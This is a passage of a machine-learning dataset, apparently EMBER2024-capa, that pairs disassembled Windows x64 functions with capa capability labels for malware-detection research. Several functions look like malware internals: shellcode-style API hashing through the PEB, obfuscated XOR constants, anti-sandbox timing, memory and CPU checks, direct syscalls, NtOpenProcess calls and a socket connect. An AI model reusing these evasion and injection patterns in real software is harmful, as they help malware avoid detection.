joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140099f00
Capabilities:
Encode data using xor

Disassembly:
add rsp, 0xfffffffffffffff0
xchg r13, r10
mov qword [rsp], r13
xchg r13, r10
xchg rsi, r11
mov qword [rsp + 8], rsi
xchg rsi, r11
xor r11, r11
lea r10, [rsp + 0x18]
sub r10, rax
xchg r12, r12
cmovb r10, r11
mov r11, qword gs:[0x10]
cmp r10, r11
mov dword [rsp - 0x18], 0x521a59fb
bnd jae 0x140099f6c
and r10w, 0xf000
lea r11, [r11 - 0x1000]
mov byte [r11], 0x6e
sub byte [r11], 0x6b
xor byte [r11], 0x4d
sub byte [r11], 0xd
xor byte [r11], 0x41
cmp r10, r11
mov r9, r9
bnd jne 0x140099f48
xchg r12, r10
mov r12, qword [rsp]
xchg r12, r10
xchg rcx, r11
mov rcx, qword [rsp + 8]
xchg rcx, r11
neg rsp
add rsp, 0xfffffffffffffff0
neg rsp
bnd ret
Function at 0x140478c10
Capabilities:
Encode data using xor

Disassembly:
xchg rsp, rax
mov rsp, rax
xchg rsp, rax
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
nop
mov qword [rsp - 8], rdi
sub rsp, 8
add rsp, 0xffffffffffffffb0
xchg rdx, rdx
mov dword [rax - 0x38], 0x5fa34498
sub dword [rax - 0x38], 0x25e0d2cd
sub dword [rax - 0x38], 0x1e2215b2
add dword [rax - 0x38], 0x6219e3f8
sub dword [rax - 0x38], 0x7d973ffc
xor esi, esi
mov dword [rax - 0x34], 0x26219f74
sub dword [rax - 0x34], 0x14080c78
xor dword [rax - 0x34], 0x79bc0eaa
sub dword [rax - 0x34], 0x6ba29bc8
xchg rbx, rcx
mov rcx, rbx
xchg rcx, rbx
mov dword [rax - 0x30], 0x619d1253
add dword [rax - 0x30], 0x1174d05c
sub dword [rax - 0x30], 0x33add45a
xor dword [rax - 0x30], 0x546fa1f6
sub dword [rax - 0x30], 0x6aa9af32
mov dword [rax - 0x2c], 0x5d629115
sub dword [rax - 0x2c], 0x2f7c7ab0
xor dword [rax - 0x2c], 0x4288f1ac
sub dword [rax - 0x2c], 0x76b4224
sub dword [rax - 0x2c], 0x67cba513
mov dword [rax - 0x28], 0x3976ba9a
xor dword [rax - 0x28], 0x6af11494
xor dword [rax - 0x28], 0x64e849e5
sub dword [rax - 0x28], 0x329bbf12
sub dword [rax - 0x28], 0x49828ab
xchg rsi, rcx
mov qword [rsp + 0x60], rcx
xchg rcx, rsi
mov rax, qword [rsp + 0x60]
xchg rbx, rbx
nop dword [rax]
nop word [rax + rax]
xchg rcx, r14
mov r14, qword [rsp + 0x60]
xchg r14, rcx
mov rax, qword [rsp + 0x60]
mov r15, r15
and cl, 3
shl cl, 1
shl cl, 1
shl cl, 1
movzx edx, word [rsp + rax*2 + 0x20]
mov eax, 0x4c02a788
xor eax, 0x75a1871d
sub eax, 0x315b62c2
add eax, 0x4408c4eb
add eax, 0x106bcd84
shr eax, cl
mov dword [rsp - 0x30], 0x3c22cbf2
movzx ecx, al
xchg r15, rax
mov r15, qword [rsp + 0x60]
xchg r15, rax
xor cx, dx
xchg rbp, rbp
mov word [rsp + rax*2 + 0x34], cx
mov rax, qword [rsp + 0x60]
inc rax
mov rbp, rbp
xchg r14, rax
mov qword [rsp + 0x60], r14
xchg r14, rax
mov rax, qword [rsp + 0x60]
xchg r15, r15
cmp rax, 0xa
jb 0x140478d04
xor edx, edx
mov dword [rsp - 0x14], edx
mov word [rsp + 0x48], si
lea rcx, [rsp + 0x34]
call fcn.14007b690
xchg rcx, r8
mov rcx, rax
xchg rcx, r8
xchg r10, rax
mov qword [rbx + 0x210], r10
xchg r10, rax
xor eax, eax
xchg rdi, rdi
lea rdi, [rsp + 0x34]
mov ecx, 0x21fc317d
sub ecx, 0x1d60d138
xor ecx, 0x5f7e3ce6
xor ecx, 0x75ed99e1
sub ecx, 0x2e08c538
rep stosb byte [rdi], al
xchg r8, r8
test r8, r8
je 0x140478e4a
lea rdx, [rbx + 0x218]
mov rcx, r8
xchg r10, r10
call fcn.140479300
test al, al
jne 0x140478e40
mov dword [rsp - 0xc], edx
xchg r12, rcx
mov r12, qword [rbx + 0x210]
xchg rcx, r12
call fcn.14007daf0
xor al, al
mov dword [rsp - 0x44], 0x5f93e52e
mov qword [rbx + 0x210], rsi
mov rbx, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
mov r15, r15
sub rsp, 0xffffffffffffffb0
nop
add rsp, 8
mov rdi, qword [rsp - 8]
ret
mov al, 0x48
add al, 0x18
sub al, 0x1a
add al, 9
sub al, 0x4e
xchg r12, rbx
mov r12, qword [rsp + 0x68]
xchg rbx, r12
xchg rsi, rbp
mov rbp, qword [rsp + 0x70]
xchg rsi, rbp
add rsp, 0x50
pop rdi
ret
Function at 0x140498bf0
Capabilities:
Execute syscall

Disassembly:
xchg r10, rsi
mov rsi, rcx
xchg rsi, r10
mov eax, dword [0x1404a60cc]
mov dword [rsp - 0x28], esi
cmp qword [0x1404a60e0], 0
jne 0x140088c10
syscall
xchg r9, r9
ret
jmp 0x14008977e
Function at 0x140004000
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
cld
and rsp, 0xfffffffffffffff0
call fcn.1400040d6
push r9
push r8
push rdx
push rcx
push rsi
xor rdx, rdx
mov rdx, qword gs:[rdx + 0x60]
mov rdx, qword [rdx + 0x18]
mov rdx, qword [rdx + 0x20]
mov rsi, qword [rdx + 0x50]
movzx rcx, word [rdx + 0x4a]
xor r9, r9
xor rax, rax
lodsb al, byte [rsi]
cmp al, 0x61
jl 0x140004037
sub al, 0x20
ror r9d, 0xd
add r9d, eax
loop 0x14000402d
push rdx
mov rdx, qword [rdx + 0x20]
mov eax, dword [rdx + 0x3c]
push r9
add rax, rdx
cmp word [rax + 0x18], 0x20b
jne 0x1400040cb
mov eax, dword [rax + 0x88]
test rax, rax
je 0x1400040cb
add rax, rdx
push rax
mov r8d, dword [rax + 0x20]
mov ecx, dword [rax + 0x18]
add r8, rdx
jrcxz 0x1400040ca
dec rcx
xor r9, r9
mov esi, dword [r8 + rcx*4]
add rsi, rdx
xor rax, rax
lodsb al, byte [rsi]
ror r9d, 0xd
add r9d, eax
cmp al, ah
jne 0x140004081
add r9, qword [rsp + 8]
cmp r9d, r10d
jne 0x140004072
pop rax
mov r8d, dword [rax + 0x24]
add r8, rdx
mov cx, word [r8 + rcx*2]
mov r8d, dword [rax + 0x1c]
add r8, rdx
mov eax, dword [r8 + rcx*4]
pop r8
add rax, rdx
pop r8
pop rsi
pop rcx
pop rdx
pop r8
pop r9
pop r10
sub rsp, 0x20
push r10
jmp rax
pop rax
pop r9
pop rdx
mov rdx, qword [rdx]
jmp 0x140004021
Function at 0x14001127b
Capabilities:
Terminate process

Disassembly:
jmp 0x14002ea90
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x140011b3b
Capabilities:
Parse pe header

Disassembly:
jmp 0x14002f880
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x14002f8a0
xor al, al
jmp 0x14002f921
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x14002f8b3
xor al, al
jmp 0x14002f921
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14002f8dd
xor al, al
jmp 0x14002f921
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x14002f8f1
xor al, al
jmp 0x14002f921
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x14002f903
xor al, al
jmp 0x14002f921
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14002f91f
xor al, al
jmp 0x14002f921
mov al, 1
add rsp, 0x38
ret

Function at 0x140011b9f
Capabilities:
Enumerate threads

Disassembly:
jmp 0x140021090
mov dword [rsp + 8], ecx
push rbp
push rdi
sub rsp, 0x1c8
lea rbp, [rsp + 0x20]
mov rdi, rsp
mov ecx, 0x72
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x1e8]
mov rax, qword [0x140045018]
xor rax, rbp
mov qword [rbp + 0x198], rax
lea rcx, [0x14004d0ef]
call fcn.140011244
mov edx, 8
lea rcx, [rbp + 0x48]
call fcn.1400119c9
xor edx, edx
mov ecx, 4
call fcn.1400118a7
mov qword [rbp + 0x128], rax
lea rdx, [rbp + 0x128]
lea rcx, [rbp + 0x48]
call fcn.1400110cd
lea rcx, [rbp + 0x48]
call fcn.140011221
cmp rax, 0xffffffffffffffff
jne 0x140021130
mov dword [rbp + 0x144], 0
lea rcx, [rbp + 0x48]
call fcn.1400117da
mov eax, dword [rbp + 0x144]
jmp 0x1400211a3
mov dword [rbp + 8], 0x1c
lea rcx, [rbp + 0x48]
call fcn.140011221
lea rdx, [rbp + 8]
mov rcx, rax
call fcn.140011870
mov eax, dword [rbp + 0x1c0]
cmp dword [rbp + 0x14], eax
jne 0x140021171
mov eax, dword [rbp + 0x10]
mov dword [rbp + 0x164], eax
lea rcx, [rbp + 0x48]
call fcn.1400117da
mov eax, dword [rbp + 0x164]
jmp 0x1400211a3
lea rcx, [rbp + 0x48]
call fcn.140011221
lea rdx, [rbp + 8]
mov rcx, rax
call fcn.1400119fb
test eax, eax
jne 0x14002114c
mov dword [rbp + 0x184], 2
lea rcx, [rbp + 0x48]
call fcn.1400117da
mov eax, dword [rbp + 0x184]
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x14003b260]
call fcn.140011c85
mov rax, rdi
mov rcx, qword [rbp + 0x198]
xor rcx, rbp
call fcn.14001134d
lea rsp, [rbp + 0x1a8]
pop rdi
pop rbp
ret
Function at 0x140003950
Capabilities:
Check for time delay via gettickcount

Disassembly:
sub rsp, 0x48
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], 0x7530
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [0x140009878]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x38], rax
cmp qword [rsp + 0x38], 0
je 0x14000399a
mov ecx, dword [rsp + 0x20]
call qword [rsp + 0x38]
jmp 0x14000399e
xor eax, eax
jmp 0x1400039dd
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [rsp + 0x2c], eax
mov eax, dword [rsp + 0x28]
mov ecx, dword [rsp + 0x2c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x20]
sub eax, 0x5dc
cmp dword [rsp + 0x30], eax
ja 0x1400039d1
mov dword [rsp + 0x24], 1
jmp 0x1400039d9
mov dword [rsp + 0x24], 0
mov eax, dword [rsp + 0x24]
add rsp, 0x48
ret

Function at 0x140003a10
Capabilities:
Get memory capacity

Disassembly:
sub rsp, 0x78
mov dword [rsp + 0x30], 0x40
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
xor edx, edx
mov rax, qword [rsp + 0x38]
mov ecx, 0x400
div rcx
xor edx, edx
mov ecx, 0x400
div rcx
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0x800
jae 0x140003a54
xor al, al
jmp 0x140003a56
mov al, 1
add rsp, 0x78
ret

Function at 0x140003a84
Capabilities:
Get system information on windows

Disassembly:
sub rsp, 0x68
lea rcx, [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [rsp + 0x48]
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 2
jae 0x140003aa8
xor al, al
jmp 0x140003aaa
mov al, 1
add rsp, 0x68
ret
Function at 0x1400056ac
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400056f6
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400056f6
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400056f6
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400056f6
cmp dword [rcx + 0x84], 0xe
jbe 0x1400056f6
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400056f8
xor al, al
add rsp, 0x28
ret
Function at 0x140001864
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400018ae
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400018ae
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400018ae
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400018ae
cmp dword [rcx + 0x84], 0xe
jbe 0x1400018ae
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400018b0
xor al, al
add rsp, 0x28
ret

Function at 0x1400074b5
Capabilities:
Execute syscall

Disassembly:
push rax
pushf
mov eax, 0x599244ef
pushf
not eax
add eax, 0xe930827c
xor eax, 0xf677f592
rol eax, 0x73
popf
pushf
not eax
add eax, 0x99853b20
xor eax, 0xc60a32c8
rol eax, 0xe
popf
pushf
not eax
add eax, 0xaed24026
xor eax, 0xd88bd87f
rol eax, 0xed
popf
cmp eax, 0
jne fcn.140007505
popf
pop rax
jmp fcn.140007505
Function at 0x14001f5c3
Capabilities:
Execute syscall

Disassembly:
jmp 0x14002eeb1
mov r8, r10
mov r10, 1
xor r10, r10
mov r10, 0xa
mov r10, rcx
xor eax, eax
sub r8, r10
add eax, 0x18
xor r8, r8
syscall
ret

Function at 0x14001f5f5
Capabilities:
Terminate process

Disassembly:
jmp 0x14005aaf0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
add rsp, 0x28
ret
Function at 0x14001f75d
Capabilities:
Parse pe header

Disassembly:
jmp 0x14005b340
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x14005b360
xor al, al
jmp 0x14005b3e1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x14005b373
xor al, al
jmp 0x14005b3e1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14005b39d
xor al, al
jmp 0x14005b3e1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x14005b3b1
xor al, al
jmp 0x14005b3e1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x14005b3c3
xor al, al
jmp 0x14005b3e1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14005b3df
xor al, al
jmp 0x14005b3e1
mov al, 1
add rsp, 0x38
ret
Function at 0x140059650
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x68
mov ecx, 1
call fcn.14001faf0
movzx eax, al
test eax, eax
jne 0x140059670
mov ecx, 7
call fcn.14001f8fc
nop
mov byte [rsp + 0x20], 0
call fcn.14001f942
mov byte [rsp + 0x21], al
cmp dword [0x14006c528], 1
jne 0x140059694
mov ecx, 7
call fcn.14001f8fc
nop
jmp 0x1400596ec
cmp dword [0x14006c528], 0
jne 0x1400596e7
mov dword [0x14006c528], 1
lea rdx, [0x140062770]
lea rcx, [0x140062440]
call fcn.14001f4ec
test eax, eax
je 0x1400596c8
mov eax, 0xff
jmp 0x1400597f1
lea rdx, [0x140062330]
lea rcx, [section..rdata]
call fcn.14001f929
mov dword [0x14006c528], 2
jmp 0x1400596ec
mov byte [rsp + 0x20], 1
movzx ecx, byte [rsp + 0x21]
call fcn.14001f8d4
call fcn.14001f7ad
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp qword [rax], 0
je 0x140059749
mov rcx, qword [rsp + 0x30]
call fcn.14001f401
movzx eax, al
test eax, eax
je 0x140059749
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x50], rax
xor r8d, r8d
mov edx, 2
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call qword [0x140075020]
nop
call fcn.14001f825
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp qword [rax], 0
je 0x14005977d
mov rcx, qword [rsp + 0x38]
call fcn.14001f401
movzx eax, al
test eax, eax
je 0x14005977d
mov rax, qword [rsp + 0x38]
mov rcx, qword [rax]
call fcn.14001fa64
nop
call fcn.140059860
mov dword [rsp + 0x28], eax
call fcn.14001f75d
movzx eax, al
test eax, eax
jne 0x14005979c
mov ecx, dword [rsp + 0x28]
call fcn.14001f0cd
nop
movzx eax, byte [rsp + 0x20]
test eax, eax
jne 0x1400597ab
call fcn.14001fa78
nop
xor edx, edx
mov cl, 1
call fcn.14001f3c0
mov eax, dword [rsp + 0x28]
jmp 0x1400597f1
add rsp, 0x68
ret
Function at 0x1401c94ac
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1401c94f6
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1401c94f6
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1401c94f6
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1401c94f6
cmp dword [rcx + 0x84], 0xe
jbe 0x1401c94f6
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1401c94f8
xor al, al
add rsp, 0x28
ret
Function at 0x1400018c0
Capabilities:
Connect socket
Initialize winsock library

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
sub rsp, 0x210
mov rax, qword [0x140104100]
xor rax, rsp
mov qword [rsp + 0x200], rax
mov rbx, rdx
mov rdi, rcx
call fcn.140064990
mov rax, qword [0x140107638]
mov ecx, 4
test rax, rax
je 0x140001901
call rax
jmp 0x140001906
call fcn.1400b5720
test rax, rax
je 0x140001911
mov dword [rax], 0x1010403
mov rcx, rax
call fcn.140063e10
mov qword [rdi + 0x10], rax
lea rdx, [0x140107640]
cmp qword [0x140107658], 0xf
cmova rdx, qword [0x140107640]
mov ebp, 1
test rax, rax
je 0x14000194b
test byte [rax + 0xa1], 2
je 0x14000194b
xor ecx, ecx
jmp 0x14000194d
mov ecx, ebp
mov dword [rsp + 0x30], ecx
mov r8d, dword [0x140107650]
mov rcx, rax
call fcn.140064bb0
cmp eax, ebp
jne 0x140001ae0
mov rcx, qword [rdi + 0x10]
test rcx, rcx
je 0x14000198e
movzx eax, byte [rcx + 0xa1]
or al, bpl
and al, 0xfd
mov byte [rcx + 0xa1], al
mov qword [rcx + 0xc0], 0
mov ecx, 0x202
lea rdx, [rsp + 0x60]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x140001ae0
mov r8d, 6
mov edx, ebp
mov esi, 2
mov ecx, esi
call qword [sym.imp.WS2_32.dll_socket]
mov dword [rdi], eax
cmp eax, 0xffffffff
je 0x140001ae0
mov word [rsp + 0x48], si
mov rcx, qword [rbx]
call qword [sym.imp.WS2_32.dll_inet_addr]
mov dword [rsp + 0x4c], eax
mov ecx, 0x1a0a
call qword [sym.imp.WS2_32.dll_htons]
mov word [rsp + 0x4a], ax
movsxd rcx, dword [rdi]
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rsp + 0x48]
call qword [sym.imp.WS2_32.dll_connect]
test eax, eax
js 0x140001ae0
mov rsi, qword [rdi + 0x10]
test rsi, rsi
jne 0x140001a13
mov qword [rdi + 8], rsi
jmp 0x140001a79
mov rax, qword [0x140107638]
mov ecx, 0x4f0
test rax, rax
je 0x140001a28
call rax
jmp 0x140001a2d
call fcn.1400b5720
mov rbx, rax
test rax, rax
je 0x140001a4e
mov rdx, rsi
mov rcx, rax
call fcn.14006b0e0
test eax, eax
jns 0x140001a4e
mov rcx, rbx
call fcn.14006bfb0
xor ebx, ebx
mov qword [rdi + 8], rbx
mov ecx, dword [rdi]
test rbx, rbx
je 0x140001a79
lea rax, [rbx + 0x2f4]
mov dword [rax], ecx
mov qword [rbx + 0x80], rax
lea rax, [rbx + 0x2f8]
mov dword [rax], ecx
mov qword [rbx + 0x88], rax
mov rcx, qword [rdi + 8]
call fcn.140064e70
cmp eax, ebp
jne 0x140001ae0
xchg byte [rdi + 4], bpl
add rdi, 0x1b8
mov qword [rsp + 0x40], rdi
mov rcx, rdi
call fcn.1400a269c
test eax, eax
jne 0x140001b13
mov eax, dword [rdi + 0x4c]
cmp eax, 0x7fffffff
je 0x140001b03
mov rbx, qword [rdi + 0x50]
mov rsi, qword [rdi + 0x58]
cmp rbx, rsi
je 0x140001ad8
nop dword [rax]
mov rcx, qword [rbx + 0x38]
test rcx, rcx
je 0x140001acf
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
add rbx, 0x40
cmp rbx, rsi
jne 0x140001ac0
mov rcx, rdi
call fcn.1400a26a4
mov rcx, qword [rsp + 0x200]
xor rcx, rsp
call fcn.1400a3910
mov rbx, qword [rsp + 0x240]
add rsp, 0x210
pop rdi
pop rsi
pop rbp
ret
dec eax
mov dword [rdi + 0x4c], eax
mov ecx, 6
call fcn.1400a2394
int3
mov ecx, 5
call fcn.1400a2394
int3
Function at 0x140015cd0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
sub rsp, 8
mov r9, rcx
mov r10d, 0x270
mov ecx, dword [rcx]
cmp ecx, r10d
jne 0x140015d31
lea r8, [r9 + 8]
nop dword [rax + rax]
mov edx, dword [r8 - 4]
xor edx, dword [r8]
lea r8, [r8 + 4]
btr edx, 0x1f
xor edx, dword [r8 - 8]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x62c]
xor ecx, edx
mov dword [r8 + 0x9b8], ecx
sub r10, 1
jne 0x140015cf0
mov ecx, dword [r9]
jmp 0x140015e1b
cmp ecx, 0x4e0
jb 0x140015e1b
lea r10, [r9 + 0x9c4]
mov qword [rsp], rbx
mov r11d, dword [r10]
mov ebx, 0xe3
mov eax, r11d
mov r8, r10
mov r11d, dword [r10 + 4]
add r10, 4
mov edx, r11d
xor edx, eax
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x634]
xor ecx, edx
mov dword [r8 - 0x9c0], ecx
sub rbx, 1
jne 0x140015d50
lea r10, [r9 + 0xd50]
mov ebx, 0x18c
mov r11d, dword [r10]
nop
mov eax, r11d
mov r8, r10
mov r11d, dword [r10 + 4]
mov edx, eax
xor edx, r11d
add r10, 4
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 - 0xd4c]
xor ecx, edx
mov dword [r8 - 0x9c0], ecx
sub rbx, 1
jne 0x140015da0
mov eax, dword [r9 + 0x1380]
mov edx, eax
xor edx, dword [r9 + 4]
mov rbx, qword [rsp]
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r9 + 0x634]
xor ecx, edx
mov dword [r9 + 0x9c0], ecx
xor ecx, ecx
mov dword [r9], ecx
mov eax, ecx
mov edx, dword [r9 + rax*4 + 4]
lea eax, [rcx + 1]
mov dword [r9], eax
mov ecx, edx
mov eax, dword [r9 + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
add rsp, 8
ret
Function at 0x1400177e0
Capabilities:
Access peb ldr_data

Disassembly:
mov r11, rsp
mov qword [r11 + 0x10], rbx
mov qword [r11 + 0x18], rbp
mov qword [r11 + 0x20], rsi
push rdi
sub rsp, 0xa0
mov rax, qword [0x140104100]
xor rax, rsp
mov qword [rsp + 0x90], rax
mov rdi, rcx
movsxd rax, dword [rcx + 8]
mov qword [r11 - 0x58], rax
xor ebp, ebp
mov qword [r11 - 0x50], rbp
mov dword [rsp + 0x60], 0x30
mov dword [rsp + 0x78], ebp
mov qword [r11 - 0x40], rbp
mov qword [r11 - 0x28], rbp
mov qword [r11 - 0x38], rbp
mov qword [r11 - 0x20], rbp
mov ecx, 4
mov rax, qword gs:[0x58]
mov rax, qword [rax]
mov eax, dword [rcx + rax]
cmp dword [0x140108b90], eax
jle 0x140017924
lea rcx, [0x140108b90]
call fcn.1400a3c88
cmp dword [0x140108b90], 0xffffffff
jne 0x140017924
lea rdx, str.NtOpenProcess
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x30], xmm1
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rdx + r8], 0
jne 0x140017890
lea rcx, [rsp + 0x20]
call fcn.1400017c0
nop
mov rbx, qword [0x140107788]
sub rbx, qword [0x140107780]
lea r8, [rsp + 0x20]
lea rdx, [rsp + 0x40]
call fcn.14001b7c0
mov rcx, qword [rax]
movzx esi, word [rcx + 0x30]
imul rsi, rbx
add rsi, qword [0x140107798]
mov rdx, qword [rsp + 0x38]
cmp rdx, 0xf
jbe 0x140017911
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001790c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140017a13
call fcn.1400a3bac
mov qword [0x140108b68], rsi
lea rcx, [0x140108b90]
call fcn.1400a3c1c
lea r9, [rsp + 0x50]
lea r8, [rsp + 0x60]
mov edx, 0x1fffff
mov rcx, rdi
call qword [0x140108b68]
lea rdx, [rdi + 0x10]
lea rcx, [rsp + 0x20]
test eax, eax
jns 0x14001798f
call fcn.1400084d0
mov rbx, rax
mov rdx, qword [rax + 0x18]
cmp rdx, 0xf
jbe 0x14001798b
inc rdx
mov rcx, qword [rax]
cmp rdx, 0x1000
jb 0x140017986
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140017a07
mov rcx, r8
call fcn.1400a3bac
xor al, al
jmp 0x1400179cf
call fcn.1400084d0
mov rbx, rax
mov rdx, qword [rax + 0x18]
cmp rdx, 0xf
jbe 0x1400179cd
inc rdx
mov rcx, qword [rax]
cmp rdx, 0x1000
jb 0x1400179c8
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140017a0d
mov rcx, r8
call fcn.1400a3bac
mov al, 1
mov byte [rbx], 0
mov qword [rbx + 0x18], recv
mov qword [rbx + 0x10], rbp
mov rcx, qword [rsp + 0x90]
xor rcx, rsp
call fcn.1400a3910
lea r11, [rsp + 0xa0]
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
call fcn.1400a9bb4
int3
call fcn.1400a9bb4
nop
call fcn.1400a9bb4
nop
int3
Function at 0x140031740
Capabilities:
Hash data using fnv

Disassembly:
push rdi
sub rsp, 0x30
mov rdi, rcx
mov rcx, qword [rcx + 0x10]
test rcx, rcx
je 0x1400317fd
mov rax, qword [rdi + 0x38]
shr rax, 3
cmp rax, rcx
jbe 0x14003177a
mov rdx, qword [rdi + 8]
mov rcx, rdi
mov r8, rdx
mov rdx, qword [rdx]
add rsp, 0x30
pop rdi
jmp fcn.140031d40
mov rcx, qword [rdi + 8]
mov qword [rsp + 0x50], rsi
mov rax, qword [rcx + 8]
mov qword [rax], 0
mov rsi, qword [rcx]
test rsi, rsi
je 0x1400317c6
mov qword [rsp + 0x48], rbx
nop dword [rax + rax]
mov rbx, qword [rsi]
lea rcx, [rsi + 0x10]
call fcn.140032ac0
